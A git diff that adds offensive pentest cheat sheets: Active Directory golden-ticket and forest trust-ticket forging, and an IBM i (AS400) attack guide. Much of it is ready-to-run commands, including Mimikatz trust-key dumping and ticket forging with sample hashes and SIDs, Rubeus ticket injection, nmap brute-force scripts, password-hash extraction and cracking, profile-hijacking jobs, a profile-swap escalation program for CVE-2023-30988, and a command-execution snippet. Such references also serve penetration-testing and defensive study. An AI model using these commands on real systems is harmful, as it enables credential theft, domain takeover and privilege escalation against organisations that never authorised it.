+**Requirements**: + +- KRBTGT Hash +- Find the SID of the domain + + ```powershell + $ Convert-NameToSid target.domain.com\krbtgt + S-1-5-21-2941561648-383941485-1389968811-502 + + # with Impacket + lookupsid.py domain/user:password@10.10.10.10 + ``` + +- Replace 502 with 519 to represent Enterprise Admins + +**Exploitation**: + +- Create golden ticket and attack parent domain. + + ```powershell + kerberos::golden /user:Administrator /krbtgt:HASH_KRBTGT /domain:domain.local /sid:S-1-5-21-2941561648-383941485-1389968811 /sids:S-1-5-SID-SECOND-DOMAIN-519 /ptt + ``` + +## References + +- [Training - Attacking and Defending Active Directory Lab - Altered Security](https://www.alteredsecurity.com/adlab) diff --git a/personas/_shared/internal-allthethings/active-directory/trust-ticket.md b/personas/_shared/internal-allthethings/active-directory/trust-ticket.md new file mode 100644 index 0000000..2ce1fff --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/trust-ticket.md @@ -0,0 +1,56 @@ +# Forest to Forest Compromise - Trust Ticket + +* Require: SID filtering disabled + +From the DC, dump the hash of the `currentdomain\targetdomain$` trust account using Mimikatz (e.g. with LSADump or DCSync). Then, using this trust key and the domain SIDs, forge an inter-realm TGT using +Mimikatz, adding the SID for the target domain's enterprise admins group to our **SID history**. + +## Dumping Trust Passwords (trust keys) + +> Look for the trust name with a dollar ($) sign at the end. Most of the accounts with a trailing **$** are computer accounts, but some are trust accounts. + +```powershell +lsadump::trust /patch + +or find the TRUST_NAME$ machine account hash +``` + +## Create a Forged Trust Ticket (inter-realm TGT) + +* using **Mimikatz** + + ```powershell + mimikatz(commandline) # kerberos::golden /domain:domain.local /sid:S-1-5-21... /rc4:HASH_TRUST$ /user:Administrator /service:krbtgt /target:external.com /ticket:c:\temp\trust.kirbi + mimikatz(commandline) # kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:e4e47c8fc433c9e0f3b17ea74856ca6b /user:Administrator /service:krbtgt /target:moneycorp.local /ticket:c:\ad\tools\mcorp-ticket.kirbi + ``` + +* using **Ticketer** + + ```ps1 + ticketer.py -nthash -domain-sid -domain -extra-sid -spn + + # -nthash: The hash to authenticate as the trust account. + # -domain-sid: The SID for the domain that the account is valid in. + # -domain: The domain which the creds are valid on. + # -extra-sid: The SID for Enterprise Admin's Group + # -spn: The target service for the other domain + # : The user doesn't have to be real. + ``` + +## Use the Trust Ticket file to get a Service Ticket + +```powershell +.\asktgs.exe c:\temp\trust.kirbi CIFS/machine.domain.local +.\Rubeus.exe asktgs /ticket:c:\ad\tools\mcorp-ticket.kirbi /service:LDAP/mcorp-dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt +``` + +Inject the Service Ticket file and access the targeted service with the spoofed rights. + +```powershell +kirbikator lsa .\ticket.kirbi +ls \\machine.domain.local\c$ +``` + +## References + +* [Training - Attacking and Defending Active Directory Lab - Altered Security](https://www.alteredsecurity.com/adlab) diff --git a/personas/_shared/internal-allthethings/cheatsheets/as-400.md b/personas/_shared/internal-allthethings/cheatsheets/as-400.md new file mode 100644 index 0000000..69b9832 --- /dev/null +++ b/personas/_shared/internal-allthethings/cheatsheets/as-400.md @@ -0,0 +1,657 @@ +# AS400 + +AS400 (IBM i) is a midrange computer system developed by IBM, originally released in 1988. Now known as IBM i running on Power Systems, it is widely used for business applications due to its stability, security, and integrated database (DB2 for i) + +## Summary + +* [Lab](#lab) +* [Enumeration](#enumeration) +* [Access and Audit](#access-and-audit) +* [Default Credentials](#default-credentials) +* [User Enumeration](#user-enumeration) + * [Telnet](#telnet) + * [POP3](#pop3) + * [FTP](#ftp) +* [Useful Commands](#useful-commands) +* [NMAP Scripts](#nmap-scripts) +* [User Class](#user-class) +* [Authority](#authority) +* [Special Authority](#special-authority) +* [Adopted Authority](#adopted-authority) +* [Password Cracking](#password-cracking) +* [Privilege Escalation](#privilege-escalation) + * [Initial Program Breakout](#initial-program-breakout) + * [Hijack Profile - SECOFR Security Class](#hijack-profile---secofr-security-class) + * [Hijack Profile - Authorities](#hijack-profile---authorities) + * [Hijack Profile - Profile Swapping](#hijack-profile---profile-swapping) + * [Unqualified Library Calls](#unqualified-library-calls) + * [From ALLOBJ to SECADM](#from-allobj-to-secadm) + * [Arbitrary Command Execution](#arbitrary-command-execution) +* [References](#references) + +## Lab + +* [mainframed/DC30_Workshop](https://github.com/mainframed/DC30_Workshop) - DEFCON 30 Mainframe buffer overlow workshop container +* [mainframed/DVCA](https://github.com/mainframed/DVCA) - Damn Vulnerable CICS Application + + ```ps1 + docker run -d \ + --name=dvca \ + -e HUSER=docker \ + -e HPASS=docker \ + -p 21:21 \ + -p 23:23 \ + -p 3270:3270 \ + -p 3505:3505 \ + -p 3506:3506 \ + -p 8888:8888 \ + -v /opt/docker/dvca:/config \ + -v /opt/docker/dvca/printers:/printers \ + -v /opt/docker/dvca/punchcards:/punchcards \ + -v /opt/docker/dvca/logs:/logs \ + -v /opt/docker/dvca/dasd:/dasd \ + -v /opt/docker/dvca/certs:/certs \ + --restart unless-stopped \ + mainframed767/dvca:latest + ``` + +## Enumeration + +By default, the FTP service send a banner with the following prefix: + +```ps1 +220-QTCP at +``` + +Common ports in AS400 devices: + +```ps1 +20, 21, 23, 25, 80, 110, 137, 138, 139, 389, 443, 446, 448, 449, 512, 910, 992, 2001, 2010, 3000, 5061, 5544, 5555, 5566, 5577, 8470, 8471, 8472, 8473, 8474, 8475, 8476, 9470, 9471, 9472, 9473, 9474, 9475, 9476 +``` + +| Name | Description | Port | Port (SSL) | +| ------------- | ----------- | ---- | ---------- | +| FTP | FTP server is used to access the AS/400 file system | 20,21 | / | +| Telnet | Telnet server is used to access 5250 emulation | 23 | 992 | +| SMTP | SMTP server is used to provide mail transfer | 25 | / | +| HTTP | HTTP server is used to provide web page | 80 | 443 | +| POP3 | POP3 server is used to provide mail fetch | 110 | 910 | +| NetServer | NetServer allows access to AS/400 integrated file system from Windows PCs | 137,138,139,445 | / | +| LDAP | LDAP provides a network directory service | 389 | 636 | +| DDM | DDM server is used to access data via DRDA and for record level access. | 446 | 448 | +| As-svrmap | Port mapper returns the port number for the requested server. | 449 | / | +| As-rmtcmd | Remote command server is used to send commands from a PC to an AS/400 and for program calls. | 512 | / | +| As-admin-http | HTTP server administration. | 2001 | 2010 | +| As-sts | Service tools server | 3000 | / | +| As-mtgc | Management Central server is used to manage multiple AS/400s in a network. | 5555,5544 | 5566,5577 | +| As-central | Central server is used when a Client Access license is required and for downloading translation tables. | 8470 | 9470 | +| As-database | Database server is used for accessing the AS/400 database. | 8471 | 9471 | +| As-dtaq | Data Queue server allows access to the AS/400 data queues, used for passing data between applications. | 8472 | 9472 | +| As-file | File Server is used for accessing any part of the AS/400 file system. | 8473 | 9473 | +| As-netprt | Printer Server is used to access printers known to the AS/400. | 8474 | 9474 | +| As-rmtcmd | Remote command server is used to send commands from a PC to an AS/400 and for program calls. | 8475 | 9475 | +| As-signon | Sign-on server is used for every Client Access connection to authenticate users and to change passwords. | 8476 | 9476 | + +## Access and Audit + +**Access**: + +* [tn5250/tn5250](https://github.com/tn5250/tn5250) - A curses-based 5250 terminal client +* [x3270](https://x3270.bgp.nu/) - IBM 3270 terminal emulator +* [ayoul3/wc3270_hacked](https://github.com/ayoul3/wc3270_hacked) - A hacked version of wc3270 that removes field protection and displays hidden fields +* [Mocha TN3270](https://mochasoft.dk/tn3270.htm) - Mocha TN3270 provides TN3270 emulation for IBM Mainframe Access +* [Mocha TN5250](https://mochasoft.dk/tn5250.htm) - Mocha TN5250 provides TN5250 emulation for IBM Mainframe Access +* IBM i Access Client Solutions (5250 Console): `servername.com/WSG` or Telnet +* IBM Navigator for i (Web Interface): `http://systemName:2001` + +Signed-off profiles can still be used—not for opening a 5250 session, but they should work with other protocols. + +All the objects can be queried from the database DB2. + +**Audit**: + +* [hackthelegacy/hack400tool](https://github.com/hackthelegacy/hack400tool/tree/master/dist) - Security handling tools for IBM Power Systems + * [hack400auditor/hack400auditor.jar](https://github.com/hackthelegacy/hack400tool/blob/master/dist/hack400auditor/hack400auditor.jar) + * [hack400exploiter/hack400exploiter.jar](https://github.com/hackthelegacy/hack400tool/blob/master/dist/hack400exploiter/hack400exploiter.jar) + * [hack400scanner/hack400scanner.jar](https://github.com/hackthelegacy/hack400tool/blob/master/dist/hack400scanner/hack400scanner.jar) +* [ayoul3/cicspwn](https://github.com/ayoul3/cicspwn) - CICSpwn is a tool to pentest a CICS Transaction servers on z/OS. +* [ayoul3/cicsshot](https://github.com/ayoul3/cicsshot) - Tool to screenshot CICS transactions +* [sensepost/birp](https://github.com/sensepost/birp) - Big Iron Recon & Pwnage + +![AS400 Mind Map](https://web.archive.org/web/20140830222720if_/http://www.toolswatch.org/wp-content/uploads/2013/02/AS400.jpg) + +## Default Credentials + +```ps1 +# Print users with default passwords (Username == Password case insensitive) +# Must have *ALLOBJ and *SECADM special authorities to use this command. +ANZDFTPWD +``` + +Other default profiles: + +```ps1 +QAUTPROF QBRMS QCLUMGT QCLUSTER QCOLSRV +QDBSHR QDBSHRDO QDFTOWN QDIRSRV QDLFM +QDOC QDSNX QEJB QFNC QGATE +QLPAUTO QLPINSTALL QMQM QMQMADM QMSF +QNETSPLF QNFSANON QNOTES QNTP QPEX +QPGMR QPM400 QPRJOWN QRJE QRMTCAL +QSECOFR QSNADS QSPL QSPLJOB QSRV +QSRVBAS QSVCDRCTR QSYS QSYSOPR QTCP +QTFTP QTMHHTP1 QTMHHTTP QTMPLPD QTMTWSG +QTSTRQS QUMB QUSER QYPSJSVR QYPUOWN30 +``` + +## User Enumeration + +### Telnet + +Authentication Error Messages in **Telnet** + +* CPF1107 : Password not correct for user profile +* CPF1109 : Not authorized to subsystem. +* CPF1110 : Not authorized to work station. +* CPF1116 : Next not valid sign-on attempt varies off device. +* CPF1118 : No password associated with user XYZ. +* CPF1120 – User AABBA does not exist +* CPF1133 Value X Z S is not a valid name +* CPF1392 : Next not valid sign-on disables user profile. +* CPF1394 : User profile XYZ cannot sign on. + +### POP3 + +Authentication Error Messages in **POP3** + +```ps1 ++OK POP3 server ready +USER bogus ++OK POP3 server ready +PASS xyz +-ERR Logon attempt invalid CPF2204 +``` + +* CPF2204 : User profile not found +* CPF22E2 : Password not correct for user profile +* CPF22E3 : User profile is disabled +* CPF22E4 : Password for user profile has expired +* CPF22E5 : No password associated with user profile + +### FTP + +Create a symbolic link to the QSYS library and list *.USRPRF + +```ps1 +open as400.victim.com +as400user +password +quote site namefmt 1 +quote site listfmt 1 +mkdir /test12345 +quote rcmd ADDLNK OBJ('/qsys.lib') +NEWLNK('/test12345/qsys') +dir /test12345/qsys/*.usrprf +``` + +## Useful Commands + +| Command | Description | +| ---------------------------- | ------------ | +| `DSPUSRPRF ` | Display user profile | +| `WRKUSRPRF ` | Display user, look for Group profile , and Supplemental groups | +| `WRKUSRPRF *ALL` | Display all users | +| `DSPPGM LIB/PROGRAM` | Display program infos | +| `WRKOBJ (*ALL QSYS *LIB)` | List libraries | +| `CHGUSRPRF USRPRF() PASSWORD()` | Setup User Password | +| `QSH` | Start a QSHELL instance | + +Check strings in PGM/SRVPGM + +```ps1 +cat QLWIUTIL4.SRVPGM | iconv -f cp1141 -t UTF-8 | strings +``` + +## NMAP Scripts + +* [nse/tn3270-screen](https://nmap.org/nsedoc/scripts/tn3270-screen.html) - Connects to a tn3270 'server' and returns the screen. + + ```ps1 + nmap --script tn3270-info,tn3270_screen + ``` + +* [nse/tso-enum](https://nmap.org/nsedoc/scripts/tso-enum.html) - TSO User ID enumerator for IBM mainframes (z/OS). + + ```ps1 + nmap --script=tso-enum -p 23 + nmap -sV -p 9923 10.32.70.10 --script tso-enum --script-args userdb=tso_users.txt,tso-enum.commands="logon applid(tso)" + ``` + +* [nse/tso-brute](https://nmap.org/nsedoc/scripts/tso-brute.html) - TSO account brute forcer. + + ```ps1 + nmap -p 2401 --script tso-brute + ``` + +* [nse/cics-user-enum](https://nmap.org/nsedoc/scripts/cics-user-enum.html) - CICS User ID enumeration script for the CESL/CESN Login screen. + + ```ps1 + nmap --script=cics-user-enum -p 23 + nmap --script=cics-user-enum --script-args userdb=users.txt,cics-user-enum.commands="exit;logon applid(cics42)" -p 23 + ``` + +* [nse/cics-user-brute](https://nmap.org/nsedoc/scripts/cics-user-brute.html) - CICS User ID brute forcing script for the CESL login screen. + + ```ps1 + nmap --script=cics-user-brute -p 23 + nmap --script=cics-user-brute --script-args userdb=users.txt,cics-user-brute.commands="exit;logon applid(cics42)" -p 23 + ``` + +* [nse/cics-info](https://nmap.org/nsedoc/scripts/cics-info.html) + + ```ps1 + nmap --script=cics-info -p 23 + nmap --script=cics-info --script-args cics-info.commands='logon applid(coolcics)',cics-info.user=test,cics-info.pass=test,cics-info.cemt='ZEMT',cics-info.trans=CICA -p 23 + ``` + +* [nse/cics-enum](https://nmap.org/nsedoc/scripts/cics-enum.html) - CICS transaction ID enumerator for IBM mainframes. + + ```ps1 + nmap --script=cics-enum -p 23 + nmap --script=cics-enum --script-args=idlist=default_cics.txt,cics-enum.command="exit;logon applid(cics42)",cics-enum.path="/home/dade/screenshots/",cics-enum.noSSL=true -p 23 + ``` + +* [nse/lu-enum](https://nmap.org/nsedoc/scripts/lu-enum.html) - Attempts to enumerate Logical Units (LU) of TN3270E servers. + + ```ps1 + nmap --script lu-enum --script-args lulist=lus.txt,lu-enum.path="/home/dade/screenshots/" -p 23 -sV + ``` + +* [nse/vtam-enum](https://nmap.org/nsedoc/scripts/vtam-enum.html) - Brute force those VTAM application IDs + + ```ps1 + nmap --script vtam-enum --script-args idlist=defaults.txt,vtam-enum.command="exit;logon applid(logos)",vtam-enum.macros=true,vtam-enum.path="/home/dade/screenshots/" -p 23 -sV + ``` + +## User Class + +A User Class (USRCLS) defines a predefined set of authorities and system privileges for a user profile. It determines the user's general role and access level within the system. However, a user class alone does not directly grant special authorities (SPCAUT); instead, it serves as a guideline for assigning them. + +In this example, we create a high-privilege user by assigning them the `*SECOFR` (Security Officer) user class (USRCLS). By setting the special authority attribute (SPCAUT) to `*USRCLS`, the system automatically grants the user all special authorities associated with the `*SECOFR` class. + +```ps1 +CRTUSRPRF USRPRF(MYUSER) USRCLS(*SECOFR) SPCAUT(*USRCLS) +``` + +| User Class | Special Authority from User Classes | +| -------------------------------- | ------------------------------------------------------------------------------------ | +| *SECOFR (Security Officer) | Full system control, including user management and security. All special authorities | +| *SECADM (Security Administrator) | Can manage users but not system-wide settings. `*SECADM` special authority | +| *SYSOPR (System Operator) | Can manage system operations but not security settings. `*SAVSYS` and `*JOBCTL` special authority | +| *ALLOBJ (All Object Authority) | Can access all objects but may lack security control. | +| *PGMR | Can create and modify programs but has limited access to system administration functions. No special authorities | +| *USER | Standard user with minimal privileges, typically for general system use. No special authorities | + +## Authority + +In AS400 (IBM i), authority controls user access to system objects (libraries, files, programs, etc.). It ensures security by defining what users can do with specific objects. + +* `*ALL`: Full access (read, write, delete, execute). +* `*CHANGE`: Modify but not delete. +* `*EXCLUDE`: No access. +* `*USE`: Read-only or execute. +* `*USERDEF`: Custom authority settings based on a user's specific needs. + +Secure authority standard for users: + +* `USRCLS` should be `*USER` +* `SPCAUT` should be `*NONE` +* `AUT` should always be `*EXCLUDE` +* `*USRPRF` should have authority to itself +* `*PUBLIC` should be `*EXCLUDE` +* No other authorities should exist. + +```ps1 +Object . . . . . . . : XXXXXX Owner . . . . . . . : QSECOFR +Library . . . . . : QSYS Primary group . . . : *NONE +Object type . . . . : *USRPRF ASP device . . . . . : *SYSBAS + + Object +User Group Authority +*PUBLIC *EXCLUDE +QSECOFR *ALL +XXXXXX USER DEF +``` + +Special authorities defaults (security level 30 or above) + +| User Class | Special Authority | +| ---------- | ----------------- | +| *SECOFR | *ALL | +| *SECADM | *SECADM | +| *PGMR | *NONE | +| *SYSOPR | *JOBCTL,*SAVSYS | +| *USER | *NONE | + +## Special Authority + +Special authority is used to specify the types of actions a user can perform on system resources. A user can be given one or more special authorities. + +* `*ALLOBJ` special authority: All-object (`*ALLOBJ`) special authority allows the user to access any resource on the system whether private authority exists for the user. +* `*SECADM` special authority: Security administrator (`*SECADM`) special authority allows a user to create, change, and delete user profiles. +* `*JOBCTL` special authority: The Job control (`*JOBCTL`) special authority allows a user to change the priority of jobs and of printing, end a job before it has finished, or delete output before it has printed. `*JOBCTL` special authority can also give a user access to confidential spooled output, if output queues are specified `OPRCTL(*YES)`. +* `*SPLCTL` special authority: Spool control (`*SPLCTL`) special authority allows the user to perform all spool control functions, such as changing, deleting, displaying, holding and releasing spooled files. +* `*SAVSYS` special authority: Save system (`*SAVSYS`) special authority gives the user the authority to save, restore, and free storage for all objects on the system, regardless of whether the user has object existence authority to the objects. +* `*SERVICE` special authority: Service (`*SERVICE`) special authority allows the user to start system service tools using the STRSST command. This special authority allows the user to debug a program with only `*USE` authority to the program and perform the display and alter service functions. It also allows the user to perform trace functions. +* `*AUDIT` special authority: Audit (`*AUDIT`) special authority gives the user the ability to view and change auditing characteristics. +* `*IOSYSCFG` special authority: System configuration (`*IOSYSCFG`) special authority gives the user the ability to change how the system is configured. Users with this special authority can add or remove communications configuration information, work with TCP/IP servers, and configure the internet connection server (ICS). Most commands for configuring communications require `*IOSYSCFG` special authority. + +```ps1 +# Print users with special authorities +PRTUSRPRF TYPE(*ALL) SELECT(*SPCAUT) SPCAUT(*ALL) + +# Print rights on a library object +DSPOBJAUT OBJ(MYLIB) OBJTYPE(*LIB) +``` + +**QSECOFR** (short for Security Officer) is the highest-level user profile, similar to the "root" user in Unix/Linux or the "Administrator" account in Windows. It has full control over the system, including security settings, user management, and system configuration. + +The `*ALLOBJ` (All Object Authority) special authority allows a user to access all objects on the system, regardless of their specific object-level permissions. A user with this authority can perform almost any action on the system, making it a powerful and sensitive privilege. + +**QSECOFR** has `*ALLOBJ` by default, along with other special authorities, making it the most powerful user profile on IBM i. + +## Adopted Authority + +Equivalent of setuid in Linux. + +Adopted Authority allows a user to acquire authority to objects beyond what is granted by `*PUBLIC` and private authorities. As an example, suppose a user should normally be restricted from payroll files, but to perform his job, the user must be able to run a payroll report. Adopted authority allows the user to acquire enough authority to read the file for the purpose of the payroll report without granting the user any authority to the file outside of the program that runs the report. + +Before granting adopted authority to PAYLIST, you must determine what authorities it already has. On an operating system command line, type the following: + +```ps1 +DSPPGM PAYLIB/PAYLIST +``` + +Example of an adopted authority running as QAUTPROF + +```ps1 +Owner: QAUTPROF +User profile: *OWNER +Use adopted authority: *YES +``` + +If User profile is `*OWNER`, the program runs combining the authorities of the Owner of the program with those of the User Profile running the program. + +## Password Cracking + +**Requirements**: + +* `*ALLOBJ` privileges: Full control over all objects +* `*SECADM` privileges: Profile management, low-level system access + +Extract hashes with **QSYRUPWD**: + +| Description | Format | Type | Example | +| --------------------------- | ------ | ---------- | ---------- | +| Receiver variable | Output | Char(*) | 2000B | +| Length of receiver variable | Input | Binary(4) | | +| Format | Input | Char(8) | "UPWD0100" | +| User profile name | Input | Char(10) | userName | +| Error code | I/O | Char(*) | | + +The output format **UPWD0100** is documented below: + +| Offset Dec | Offset Hex | Type | Field | +| ---------- | ---------- | --------- | ---------------------------- | +| 0 | 0 | BINARY(4) | Bytes returned | +| 4 | 4 | BINARY(4) | Bytes available | +| 8 | 8 | CHAR(10) | User profile name | +| 18 | 12 | CHAR(*) | Encrypted user password data | + +**Encrypted password data** hex string + +| Offset (Dec) | Length (Chars) | Field | QPWDLVL | +| ------------ | -------------- | -------------------------------------------------- | -------------- | +| 0 | 16 | DES 56-bit encrypted password substitute (RFC2877) | 0, 1, 2* | +| 16 | 16 | DES 56-bit encrypted password substitute (RFC2877) | 0, 1, 2* | +| 32 | 32 | LM hash | 0, 1, 2* | +| 64 | 4 | No data | | +| 68 | 40 | HMAC-SHA1 encrypted password token (RFC4777)? | 0**, 1**, 2, 3 | +| 108 | 40 | HMAC-SHA1 encrypted password token (RFC4777)? | 0**, 1**, 2, 3 | +| 148 | 6 | No data | | +| 154 | 384 | Unknown (hash?) data | 0, 1, 2, 3 | + +If the machine is still using the `QPWDLVL < 3`, then an attacker can still recover DES and LM hashes. + +| Hash | John | +| -------------- | -------------------------------------- | +| LM | `john --format=LM {filename}` | +| IBM DES | `john --format=as400-des {filename}` | +| SHA1 Uppercase | `john --format=as400-ssha1 {filename}` | + +```ps1 +# Hashcat command for LM hashes +.\hashcat.exe -m 3000 -a 3 --increment --username -1 ?u?d?s .\hashes.txt ?1?1?1?1?1?1?1 +``` + +* [willstruggle/ibmiscanner2john.py](https://github.com/willstruggle/john/blob/master/ibmiscanner2john.py) - Convert files in format userid:hash (e.g files produced by older versions of the ibmiscanner tool) to the as400-sha format that can be processed by JtR +* [hackthelegacy/pwd400gen.py](https://web.archive.org/web/20170224172524/http://www.hackthelegacy.org/attachments/pwd400gen.py) - Password hash generator for IBM Power Systems + +## Privilege Escalation + +### Initial Program Breakout + +* Click "`Attn`" button. The attention interrupt key (ATTN) allows the authenticated user to interrupt/end a process and display a menu with additional functions. +* Press `F9` to run commands + +```ps1 +# Spawn a PASE shell +CALL QP2TERM + +# Execute a script +CALL QP2SHELL PARM('/QOpenSys/usr/bin/sh' + '/tmp/scr') +``` + +### Hijack Profile - SECOFR Security Class + +User profiles assigned with the `*SECOFR` (Security Officer) security class are automatically granted `*ALLOBJ` (All Object) authority, giving them unrestricted access to all system objects. Refer to [User Class](#user-class) + +Display a user profile in several different formats with `DSPUSRPRF`. + +```ps1 +DSPUSRPRF +``` + +The user submitting this must have `*ALLOBJ` and `*JOBCTL` authority. + +* Submitting a Job as `` + + ```ps1 + SBMJOB CMD(DSPJOB) JOB(TESTJOB) USER() + ``` + +* Then check the job log: + + ```ps1 + WRKJOB TESTJOB + ``` + +### Hijack Profile - Authorities + +* Print Public Authority: any user profiles have authority that is not set to the default of `*PUBLIC AUT(*EXCLUDE)` + + ```ps1 + PRTPUBAUT OBJTYPE(*USRPRF) + ``` + +* Print Private Authority + + ```ps1 + PRTPVTAUT OBJTYPE(*USRPRF) + ``` + +Look for `*USE` rights or better(e.g. `*CHANGE`, `*ALL`) to someone else's User Profile. + +This `SBMJOB` command will submit a batch job to run under the `HIJACKED_USER` user profile, and will print out the records in the `FILE_OF_HIJACKED_USER` file where the `HIJACKED_USER` User Profile have access. + +> The Submit Job (SBMJOB) command allows a job that is running to submit another job to a job queue to be run later as a batch job. Only one element of request data can be placed on the new job's message queue. - [IBM/SBMJOB](https://www.ibm.com/docs/en/i/7.4?topic=ssw_ibm_i_74/cl/sbmjob.html) + +```ps1 +SBMJOB CMD(CPYF FROMFILE(FILE_OF_HIJACKED_USER) TOFILE(*PRINT)) USER(HIJACKED_USER) +``` + +### Hijack Profile - Profile Swapping + +Used to change the thread user profile running the application in order to obtain elevated authority. + +* Check the list of profiles +* Grab a profile handle: [`QSYGETPH`](https://www.ibm.com/docs/api/v1/content/ssw_ibm_i_75/apis/QSYGETPH.htm) +* Set profile based on the token generated by QSYGETPH: [`QWTSETP`](https://www.ibm.com/docs/api/v1/content/ssw_ibm_i_75/apis/QWTSETP.htm) +* Repeat until you have obtained the highest access level +* Release profile handle: [`QSYRLSPH`](https://www.ibm.com/docs/api/v1/content/ssw_ibm_i_75/apis/QSYRLSPH.htm) + +```c +/* Call QSYGETPH to get a profile handle for a user. */ +/* NOTE: Change USERPROFILE to the user who you want to swap to. */ +CALL QSYS/QSYGETPH ('USERPROFILE' '*NOPWDCHK' &HNDL) +/* Call QWTSETP to swap to the profile. */ +CALL QSYS/QWTSETP &HNDL +``` + +| Value | Description | +| ------------ | ----------------------- | +| `*NOPWD` | The user requesting the profile handle must have `*USE` authority to the user profile. A profile handle does not get created for a disabled user profile. A profile handle does not get created for a user profile with an expired password. | +| `*NOPWDCHK` | The user requesting the profile handle must have `*USE` authority to the user profile. If the profile is disabled, the user requesting the profile handle must have `*ALLOBJ` and `*SECADM` special authorities to get a handle. If the password is expired, the user requesting the profile handle must have `*ALLOBJ` and `*SECADM` special authorities to get a handle. | +| `*NOPWDSTS` | The user requesting the profile handle must have *USE authority to the user profile. A profile handle does not get created for a disabled user profile. If the password is expired, the user requesting the profile handle must have `*ALLOBJ` and `*SECADM` special authorities to get a handle. | + +You cannot obtain a profile handle for the following system-supplied user profiles: + +```ps1 +QAUTPROF QDLFM QMSF QSNADS QTSTRQS +QCLUMGT QDOC QNETSPLF QSPL +QCOLSRV QDSNX QNFSANON QSPLJOB +QDBSHR QFNC QNTP QSRVAGT +QDBSHRDO QGATE QPEX QSYS +QDFTOWN QLPAUTO QPM400 QTCP +QDIRSRV QLPINSTALL QRJE QTFTP +``` + +**JDBC**: + +```SQL +CREATE OR REPLACE PROCEDURE J_QSYGETPH (IN USERNAME VARBINARY(10), IN PASSWORD VARBINARY(10), OUT HANDLE VARBINARY(12)) EXTERNAL NAME QSYS.QSYGETPH LANGUAGE C++ GENERAL +CALL J_QSYGETPH('USERPROFILE', "*NOPWD", PROFILE_HANDLE) + +CREATE OR REPLACE PROCEDURE J_QWTSETP (IN HANDLE VARBINARY(12)) EXTERNAL NAME QSYS.QWTSETP LANGUAGE C++ GENERAL +CALL J_QWTSETP(PROFILE_HANDLE) +``` + +### Unqualified Library Calls + +> "applications that use library lists rather than qualified library names have a potential security exposure. A user who is authorized to the commands to work with library lists can potentially run a dierent version of a program." - [ibm.com/security-library-library-lists](https://www.ibm.com/docs/en/i/7.3?topic=security-library-library-lists) + +| Code | Check | +| ------------------ | ---------- | +| CALL LIBFOO/OBJBAR | SECURE | +| CALL OBJBAR | VULNERABLE | + +**Example**: + +CVE-2023-30988: LIBL abuse, PATH abuse on IBM i - Lirbry List Exploitation + +```SQL +DSPUSRPRF -- Display user profile +CRTLIB -- Create library +STRSEU /QCLSRC QFQSES -- Show sources of QFQSES, + -- require to compile it + PGM + CALL QSYS/QCMD + ENDPGM + +ADDLIBLE -- Add user to the libraries +DSPAUTUSR -- Display user profile +CALL QFAX/QFFSTRFCPP PARM(1 2) -- Call the vulnerable program +DSPAUTUSR -- Display user profile, QAUTPROF and QFAXMSF should be available +CALL /ESCALATE QFAXMSF -- Profile swapping + -- require to compile the ESCALATE program + PGM PARM(&USER) + DCL VAR(&USER) TYPE(*CHAR) LEN(10) + DCL VAR(&HANDLE) TYPE(*CHAR) LEN(12) + DCL VAR(&ERROR) TYPE(*CHAR) LEN(4) + CHGVAR VAR(%BIN(&ERROR)) VALUE(0) + CALL PGM(QSYGETPH) PARM(&USER *NOPWD &HANDLE &ERROR) + CHGVAR VAR(%BIN(&ERROR)) VALUE(0) + CALL PGM(QWTSETP) PARM(&HANDLE &ERROR) + ENDPGM + +DSPAUTUSR -- Should display all profiles + -- QFAXMSF has *ALLOBJ +``` + +### From ALLOBJ to SECADM + +* Query users informations: + + ```c + DSPUSRPRF USRPRF(*ALL) TYPE(*BASIC) OUTPUT(*OUTFILE) OUTFILE(PENTEST/USERDB) + ``` + +* Create a CL script to escalate privilege and compile it with `STRPDM` (output is `PRIVESC`) +* Call the generated PGM (program object): `CALL PENTEST/PRIVESC USERWITHSECADM` + +### Arbitrary Command Execution + +* QSECOFR user - Compile as `.jar` file and run inside QSH: `java -jar /home/user/exploit.jar` + + ```java + // Triggering with JTOpen + sPGMCall.setProgram("/QSYS.LIB/QLWIUTIL4.SRVPGM"); + String str = "`id>/tmp/xy.txt`"; // command execution with QSECOFR + ProgramParameter[] programParameterArr = { + new ProgramParameter(2, new AS400Text(str.length() + 1, system).toBytes(str + (char) 0)), + new ProgramParameter(2, new byte[16384], 16384) // hatmanager.jar + }; + sPGMCall.setParameterList(programParameterArr); + sPGMCall.setProcedureName("QlwiRelayCall"); + ``` + +* QSECOFR user - CVE-2023-40685 +* QDIRSRV user - CVE-2023-40378 +* QYPSJSVR user - CVE-2023-40686 +* QBRMS user - CVE-2023-40377 + +## References + +* [Abusing Adopted Authority on IBM i - Zoltán Pánczél - January 20, 2023](https://blog.silentsignal.eu/2023/01/20/abusing-adopted-authority-on-ibm-i/) +* [Adopted Authority - IBM Support - October 3, 2024](https://www.ibm.com/support/pages/adopted-authority) +* [An IBM i Hacking Tale - Pablo Zurro - April 6, 2023](https://www.fortra.com/blog/ibm-i-hacking-tale) +* [Another Tale of IBM i (AS/400) Hacking - Zoltán Pánczél - September 28, 2022](https://blog.silentsignal.eu/2022/09/28/another-tale-of-ibm-i-as-400-hacking/) +* [AS/400 for pentesters - Black Hat Europe 2006 - Shalom Carmel](https://www.blackhat.com/presentations/bh-europe-06/bh-eu-06-Carmel/bh-eu-06-Carmel.pdf) +* [Awesome-Mainframe-Hacking - samanL33T - July 10, 2019](https://github.com/samanL33T/Awesome-Mainframe-Hacking) +* [Below MI - IBM i for Hackers - Silent Signal - August 22, 2024](https://silentsignal.github.io/BelowMI/) +* [Common Misconcepts on IBM i User Class - *SECOFR - Dan Riehl - September 12, 2013](https://www.securemyi.com/nl/articles/userclass.html) +* [FrenchIBMi - Christian Massé - March 15, 2017](https://github.com/FrenchIBMi/Clubs/) +* [Geeking Out On IBM i - Part 1 - Anonymous - August 31, 2021](https://web.archive.org/web/20210831231128/https://blog.grimm-co.com/2021/07/geeking-out-on-ibm-i-part-1.html) +* [Guru: IBM i *USRPRF Security - Bruce Bading - May 23, 2022](https://www.itjungle.com/2022/05/23/guru-ibm-i-usrprf-security/) +* [Hack the Legacy: IBM I aka AS400 Revealed - Bart Kulach - December 25, 2015](https://youtu.be/JsqUZ3xGdLc) +* [Hack the legacy! IBM i (aka AS/400) revealed - Bart Kulach - May 11, 